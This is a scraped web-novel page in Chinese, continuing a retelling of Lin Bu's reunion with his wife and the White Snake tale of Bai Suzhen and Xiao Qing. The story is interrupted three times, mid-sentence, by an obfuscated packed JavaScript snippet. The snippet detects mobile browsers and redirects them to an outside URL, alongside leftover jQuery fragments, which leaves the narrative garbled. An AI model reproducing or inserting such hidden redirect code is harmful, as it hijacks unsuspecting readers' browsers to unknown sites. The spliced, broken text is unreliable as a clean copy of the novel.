RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16268164|182178||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笺缠绕在一起,你中有我,我中有你,叫人分不清那一簇才是花。 而那位红衣的美人就站在树前,银纱一样的月华披在她身上,如梦似幻,仍如初见般动人。 林逋来时她正捏着一张红笺,认真的看着上面的字。待听到动静,她转过身来,露出那张精致的眉眼,似含苞吐蕊,风华绝艳。 等见到来人是谁,她怔住了。 林逋提着灯,一步一步向她走来,如同走向一个美丽的梦。 终于,他来到她面前,手伸了几次,可还是在半空停下了。 他多想摸摸她的脸,但是他不敢。 “念念,我是不是在做梦?”林逋恍惚的问道。 这样的场景他曾无数次幻想过,可是这么多年了,孤山的梅花一年年的开,他的念念,始终不曾归来,就连梦中也吝啬与他一见。 他渴盼眼前这个人是真的,可又怕只是一个梦,一碰,这个梦就要碎了,他就不能再看到她了。 林念看他迟疑的样子,主动握住他的手放到自己脸上。 她噙着泪,叫他好好看看她,“不是梦,十一郎,是我,我回来了。” 掌心的触感细腻柔软,是那么的真实,是真的,不是梦! 林逋的眼泪也“唰”的落下,“念念,你回来了,你真的回来了,原来我真的等到你了!” 少女握住他的手,脸颊在掌心亲昵的蹭了蹭,哽咽道:“是啊,我回来了,你把我给带回来了。可是十一郎,你的头发怎么会变成这样,是不是,是不是因为我?” 她拾起林逋胸前一缕散落的发丝,那雪白的颜色深深刺痛了她的眼。 林逋贪婪的视线一寸寸扫过她的眉眼,眼角瞥了瞥林念指尖的白发,装作不在意的道:“回来就好,我的念念还是这么美丽。可我已经老啦,头发白了,脸上也有皱纹了,念念不会嫌弃我这个糟老头子了吧?” 林念看着他苍白瘦削的模样,如何发现不了他眼底深藏的自卑,心里一酸,搂住他的脖子就吻了上去。 她的唇沿着他的唇角一点点往上,吻过鼻子,眼睛,最终停在他的鬓角处,“怎么会,你永远都是那个眼里有着西湖、山月还有我的少年,在我看来,你从未改变。十一郎,感觉到了吗?你活着,我也还活着,一切都刚刚好。” 闻言,林逋再也忍不住,他揽住妻子的腰,重重的吻了回来。 他们二人久别重逢,情到浓处,自是耳鬓厮磨,可是从开始就被忽略到现在的阿回不高兴了,它不满的拍打着林逋的胳膊,叫了起来。 于是,吻得面红耳热的夫妻二人猛然对上一双黑亮纯洁的眼睛,他们双双轻咳一声,不自在的拉开点距离。 看着对面默契的动作,二人面面相觑,不知怎的突然就笑了起来。 “是阿爹阿娘不好,怎么把我们家阿回给忘了呢?来,天气冷,我们回家去,今天多谢了阿回的提醒,回去给你加餐,庆祝我们一家人团圆。” 林逋一手提着灯,一手牵着妻子,半人高的仙鹤依偎的走在林念身边,父子二人将她团团围住,一家三口就这样慢慢的向家走去。 风中,刚才被林念拿在手中的红笺簌簌的飞舞着,最上面隐约可以看到《相思令》[1]三个字。 路径两旁,那十颗与梅树一同被林逋种下的红豆取代了先前的野蔷薇,霸道的占据了整面的墙。一步一相思,一路一相思,一丛丛因情而生的藤蔓无声的目送着一家人远去,枝蔓交缠间星星点点的嫩芽迎风招展。 春天就要到了。 17. 第 17 章 “无聊,无聊,好无聊啊,能不能来点好玩的事儿叫青娘娘我乐乐啊?” 一道懒洋洋的抱怨声在花丛里响起,酥软又娇俏。 伴着声音落下,不时几朵花儿、几个果子从花丛里被抛出,落下,又抛出…… “你啊,叫你好好修炼你不修炼,跑到这儿躲懒来了,还好意思说无聊。” 一只素手接过不小心被抛歪出去的一个果子,笑骂道。 “姐姐?!你出关了啦!” 话音未落,就听“唰唰”几声,大片的花木像是被什么重物扫过,东歪西折,然后一条青色的身影流光一样窜出来。 待身影站定,原是一个青衣的美人。 只见她粉腮朱唇,峨眉曼睩,几点碧青鳞片华美艳丽,如细碎的宝石一样点缀在眼角,衬得那一双灵巧的双目妩媚风流,眉目流转间俱是万种风情。 纤细的腰身下是一条与眼角鳞片同色的蛇尾,从裙摆底下探出,摆动间光华璀璨,只是鳞片边缘偶尔闪过的寒光预示着它的危险。 小青出来时手里还拿着一只粉色的牡丹花,花盘硕大,颜色饱满,可惜这会儿已被她蹂躏的不成样子。 她看着眼前笑吟吟的白衣丽人,连忙扔下花,蛇尾蜿蜒,一眨眼的功夫就来到她身边,没骨头一样趴在她身上,讨饶道: “姐姐,你别看我现在这样,其实我之前一直在认真修炼,这不是太累了吗,就歇一歇,过会儿我就接着修炼。” “你啊!” 白素贞一眼就瞧出她在撒谎,这丫头,性子最是疲懒不过,没她看着如何会乖乖修炼。 她正要敲敲她的头给她个小小的教训,可看着她讨巧卖乖的样子,又如往常一样心软了。 于是冲着额头去的手一转,从小青头上拾下几片花叶。 “还是这般淘气。” 耶! 知道此事轻轻揭过,小青讨好的蹭了蹭白素贞的脸,撒起了娇。 “我知道姐姐是为了我好,可我就是静不下来嘛。而且我好不容易才修炼成妖,当然要好好享受享受了。要是还像以前那样成天苦修,这日子也太难过了,还不如做一条普普通通的小蛇来得快活呢。” “又说孩子气的话了。”白素贞无奈。 “做条凡蛇也不怕哪一日被人捉去做了蛇羹。就算是妖,虽一时无虞,但终究不能长久。你看我们妖族,去哪都被人喊打喊杀,东躲西藏的日子可不好过。唯有修炼成仙,方是正道。” 小青满脸不服气,她嘟囔道:“都说神仙自在逍遥,可姐姐我看当神仙也没什么好的,再厉害上面不也还有人管这管那的吗?这也不许那也不许的,我可不想当什么神仙。再说了,神仙可没什么好东西,一个个傲慢的不得了。” 白素贞失笑,也不知小青为何对成仙这般瞧不上。 “你以为成仙这么容易啊,还嫌天条戒律难守,多少人和妖想成仙却连入道都难。我们有幸踏入修炼,合该好好珍惜,认真勤勉才是。还有,你还敢说仙人的不是,小心被他们听到了有你的苦头吃。” “哎呀。”小青捂住耳朵,表示自己不听不听。 “姐姐,我也就是在你面前才说这些话的嘛。再说了,我一听‘修炼’就头疼,你快快饶了我吧。我看呐,这辈子我是没什么仙缘了,不过姐姐你一定可以成仙的。到时候有你照顾我,也不用担心我被别人欺负了去啊。” “你是我的妹妹,不管我有没有成仙,我都会护着你的。再说,只有你欺负别人的份,哪有别人敢欺负你啊。” 白素贞见小青还是不愿,也不再劝她,孩子还小呢,玩心重,等再长大些就晓得利害了。到时候不用她说,小青自己就会努力了。 小青吐了吐舌头,娇俏可爱:“我哪有姐姐说的那么不讲道理,我可是很乖巧的。” “你忘了当初你是怎么打上青城山的了?不是说要收我当压寨夫人吗?” 乖巧?这个词和她就不相干。 白素贞美目睨了她一眼。 小青心虚。 嗯,当年年少不知事,来了蜀地后到处招猫逗狗,被几个小妖一吹捧,就稀里糊涂的当上了山大王。 因那时她图方便化了个男身,又听小的们说大王都得娶一个貌美如花的夫人才叫有本事,她深以为然。 为了配得上自己的身份,她专门叫小妖们去打听当地有哪些女妖,光漂亮不行,还得强大,她青大王可不是那么肤浅的人。 她的夫人,一定要美貌与实力并重。 于是,经过一番精挑细选,她挑中了在青城山清修的白素贞。 现在一想起当初是如何气势汹汹的挑上门,又是如何被打得眼泪鼻涕一把抓的,小青就忍不住捂脸。 不过,哼哼,她打不过又怎样,最终不还是登堂入室,成了青城山的主人了嘛。 当不成男主人,女主人也很好啊,凡间不是还有个词,叫入赘吗?她这也算是成功抱得美人归了。 ‘还得是我青娘娘有本事啊。’ 小青美滋滋的想道。 不过这话心里想想就行,可不能说出来,叫姐姐听见了又要罚她抄什么破经书了。 叫一条蛇拿笔写字,这也太为难蛇了。 嗯,她这不叫耙耳朵,她这是为了家庭和谐。 于是,肩负家庭和谐重任的小青连忙从白素贞身上下来,又是捶背,又是揉肩,漂亮的话不要钱一样的冒出来。 “姐姐,姐姐,我那是年少轻狂,不知天高地厚,哪里知道世上有姐姐这么漂亮又厉害的大妖。后来被姐姐教训后我也改了,这么多年过去了,你看我多听你话。姐姐,你看我表现这么好,你大妖有大量,不和我计较了好不好,好不好嘛?” 最后一声“嘛”字被她说的百转千回,听得人骨头都软了。 白素贞看着忙前忙后的小青,深知她这话有多少水分,不过还是很受用。 这丫头实力不太行,却有张得天独厚的漂亮脸蛋,还有那能哄得人眉开眼笑的本事,实在叫人爱的不行。 她当初好端端的被妖打上门来,还被一群化形都化不明白的小妖们叫嚷着要娶她当什么大王的压寨夫人,本来是一头的火。可一看见来人的长相,火就去了一半。 待缴了对方的武器,还没反击呢,就被对方抱着腰求饶。说真的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16281259|182178||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,白素贞哪里见过这样式的,当场就愣了。 以她的道行,自然能看出这个所谓的大王是个女娇娥。看她哭的光打雷不下雨的,一边装作擦眼泪,一边悄咪咪看她的样子,她都气乐了。 真不知这小家伙哪里学来的本事,这求饶的姿态一看就是做惯了的。 于是,另一半的火也就这么泄了。 后来,白素贞见她与她同为蛇类,再加上心中却有几分喜欢,不想她这么胡闹下去,哪一日踢到铁板丢了性命,便认了她作妹妹,带着她一起修行。 天长日久下来,她们日日一处,同饮同食,还真处出了深厚的感情,比之同胞的姐妹也不差什么。 好在这丫头虽然鬼主意多,又野性未驯,但还是很听她的话。日常闯闯小祸什么的,她睁一只眼闭一只眼就是了,大不了就罚她抄书磨一磨性子。 总归在这青城山,她还是能护住她的。 “好了好了,不逗你了。小青,这次出关我是有要紧事和你说。” 白素贞拦下小青瞎忙活的手,正色道。 见有正事,小青也收了笑脸,严肃起来:“什么要紧事?姐姐,可是你修行出了什么问题?” “正是。”白素贞颔首。 “这几年来我修为一直不得寸进,所以才选择闭关专心修炼,可惜还是不见效果。今日修炼时,忽然做了一个梦。梦中得南海观世音菩萨点化,说我在人间还有凡缘未了。待了却凡缘,便可得道成仙。” “这么说,只要了了这个什么凡缘,姐姐你就能成仙了?真是太好了!”小青拍掌笑道。 这真是一件大好事,姐姐很快就可以得偿所愿了。 “对了,姐姐,菩萨有说这个凡缘要怎么了吗?我们好快去快回。” “你别急啊。”白素贞看着说走就要走的小青,一把拉住她,“菩萨说了,我还未生灵智前曾被人捉了去,幸逢一位善人出钱将我买下放回山林。如今,我需得找到这位恩人的转世,报他救命之恩。” “那这个恩人姓甚名谁,家住何方?我们该去哪里寻他?” “菩萨并未明说,直言等到人间清明节那天,我们去杭州西湖,飞来峰石畔上个子最高的那个便是了。” 杭州?!!! 好多年没听过这个名字了,接下来她们竟然要去这里! 得知这个残酷的现实,小青整条蛇都不好了。 ‘乖乖,天底下有这么巧的事吗?这个恩人也是,生在哪里不好偏偏生在杭州。姐姐是去报恩,小青我怕得是去历劫了。’ “小青,怎么了?是有何不妥吗?” 见小青面有难色,白素贞不解。 菩萨说的这么清楚了,要找人也不难啊。 小青见姐姐问,顿时苦着一张脸,有气无力的说:“姐姐,你还记得我说过自己有个不好对付的仇家吗?” “就是让你不得不跑到蜀地来避难的那个?” “是啊,就是他。杭州那块就是他的地界儿。完了,要是被他逮住,我估计要被他扒了皮了。” 小青看着自己一身绚丽夺目,在阳光下熠熠生辉的鳞片,不禁悲从中来。 18. 第 18 章 “什么?竟如此歹毒!” 白素贞大怒,俏脸寒霜道:“你虽有些顽皮,但也不是不知分寸之人,再怎样得罪他,也不该下此狠手!” 虽然白素贞对小青滤镜开得很大,但她自家人知自家事,知道此事八成还是小青惹了对方。 可真要说什么大奸大恶之事,小青是肯定不会做的。何况她素来疼爱这个妹妹,自然帮亲不帮理。 小青不知道姐姐的一番心思,她只看到姐姐在为她打抱不平,瞬间来劲了,也不管事实,连连点头,控诉道:“是啊是啊,他一直就是这么个睚眦必报的性子,脾气大得很,惹了他的,无论是人还是妖,不是被打死了,就是被他一口吞了。” “竟是这般凶残。” 白素贞凝眉,那看来应该很不好对付了。 “小青,你我姐妹联手也打不过吗?” 看着小青看天看地就是不敢看她的目光,白素贞明白了。 嘶,顿时倒吸一口气。 这丫头,招惹了活神仙不成? 活神仙没有,活阎王倒是一个。 可惜,小青不敢说。 之后任是白素贞如何追问,也不肯说出对方的身份。 “姐姐,你别问了。总之,你还是不知道的好,反正得罪他的是我,和你没关系,他应该不会牵连无辜的……吧?” 说着,她的声音越来越小,到最后还带上了那么一丝不确定。 白素贞这下真头疼了,“既然如此,小青你就留在青城山吧。” 小青去杭州简直就是送羊入虎口,她还真怕自己一个错眼没看好,这丫头就被人给逮住了。 “别啊,姐姐。” 小青一想到要去杭州就发憷,不然也不会躲到蜀地来,可她实在放心不下姐姐。 虽然嘴上说的轻松,但她知道成仙哪有这么容易,怎么会报个恩就能成仙呢。 天底下哪有这么便宜的事,这个恩怕是难报的很呐。 青色的尾巴烦躁的将身边的花草拍得一团乱,最后她还是咬咬牙,道:“姐姐,不成,我也要去。杭州那么大,只要我小心点,不被他发现就好了。” 她伸出右手,揭开衣袖,露出金灿灿一只錾刻缠枝花纹的镯子。花纹繁复,制作精美,上面还嵌着一颗拇指大小的赤红宝石,颜色纯净,流光溢彩。整体工艺堪称巧夺天工,一见便知不是凡品。 套在她雪白的腕上,显得那一截手臂纤细又好看。 “姐姐,你看,有宝镯在,他察觉不到我的气息的,除非当面碰到,不然我安全的很。不过他最讨厌喧闹的地方了,想来不会来人间的,所以这一点就不用担心了。” 小青的镯子是件宝器,可以掩去一个人的气息。只要不是被法力高强的人当面查探,隔空是永远无法感知到她的。 白素贞知道她镯子的妙用,可是明知有这么大的一个隐忧,再怎样周全她都无法放心。 万一被发现了怎么办?她不敢赌。 看白素贞还不同意,小青又使出了缠人的功夫,“姐姐,你就带我去嘛。再说,你这一去还不知要多久,就我一个妖留在青城山你放心吗?” 那自然也是不放心的,白素贞想了想她搞事的能力,还是妥协了。 她无奈的看着小青,“你还是跟着我吧,不过杭州有你的仇家,那你可得收敛好脾气,不要闹出太大的动静来。” 她伸手将小青在花丛里钻得凌乱的头发整理好,颇为爱怜的说:“不然姐姐还真怕护不住你,这么可人的一张脸,怎么就配了个天魔星一样的脾气,一点就着。” 小青听到姐姐不但同意她去,还夸她好看,立刻将担忧放到一边。 她喜滋滋的捧着脸,凑到白素贞身旁,笑道:“都是姐姐宠出来的。姐姐好看,我也好看,我们姐妹都好看,好看的人就要与好看的人在一处,多养眼啊。” 白素贞被她这臭美的样子逗笑了,笑完觉得不妥,连忙掩下笑容,佯装生气道:“又只捡好听的话听了?这次可不是闹着玩的,小青,你一定要好好听我的话,不许贪玩,不许惹事,知道不知道?” “知道了,知道了,我听话就是了。姐姐~再怎样,我也不会拿自己小命开玩笑嘛。” 小青一想到落到那人手里会是什么下场,身子一抖,连声答应。 “你啊,要真能做到就好了。还有,这个镯子你一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16285467|182178||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 定要随身带着,无论何时都不可以摘下来,知不知道?” 白素贞点了点她的额头。 ‘罢了,还是我看严实一点吧。’她无奈的想。 小青捂着额头,连连点头,一副乖的不行的模样:“好好,我一定走哪带到哪,绝不离身。姐姐,你快别戳了,要是把你聪明的小青戳笨了该怎么办?” ‘我看你现在也没聪明到哪里去。’ 这样想着,白素贞还是停了手。结果看到她光洁的没有一点印子的额头,就知道她又在装模作样了。 “好了,清明节马上就到了,你还是快些收拾,我们早日出发。对了,尾巴给我收起来,到了凡人的地界,尾巴还有你脸上的鳞片可不要随意露出来,被人看见就不好了。” “知道了,我又不傻,再说,凡间,我可熟……” 话还未说完,小青连忙捂住嘴。 糟了,话说的太快,露馅了。 “熟什么?” “熟……熟……。” 小青的眼睛滴溜溜转,不像个蛇妖,反倒像只小狐狸,还是只不太聪明的小狐狸,“疏忽大意,我是说我可疏忽大意了,一定会小心的。” “希望如此吧。” 白素贞知道她没说实话,不过却没有点出来。 整个青城山都在她掌控之下,也只有小青这个笨丫头以为她对她偷偷跑出去玩的事一无所知,其实不过是她睁一只眼闭一只眼罢了。 那几个和她一起的小妖们还算靠谱,没有什么坏心思,白素贞私底下又找他们好好“谈”了“谈”,让他们深深记住了什么事该干什么事不该干。 后面她悄悄跟过几次,见他们没惹出什么乱子,且对小青偶尔的出格也能哄着劝着不让她做,就没再管了。 毕竟,她压着小青好好修炼是为了她好,在这点上她承认她是管了严了点,但修炼之外就没必要太拘着她了。就像小青说的,她们这是在修仙又不是在坐牢。 “嗯嗯,那当然了。” 小青松了一口气,为自己又遮掩过去而暗自鼓掌。 她这边心里还在偷着乐呢,浑然不知道姐姐早就把她的老底都掀了个底朝天。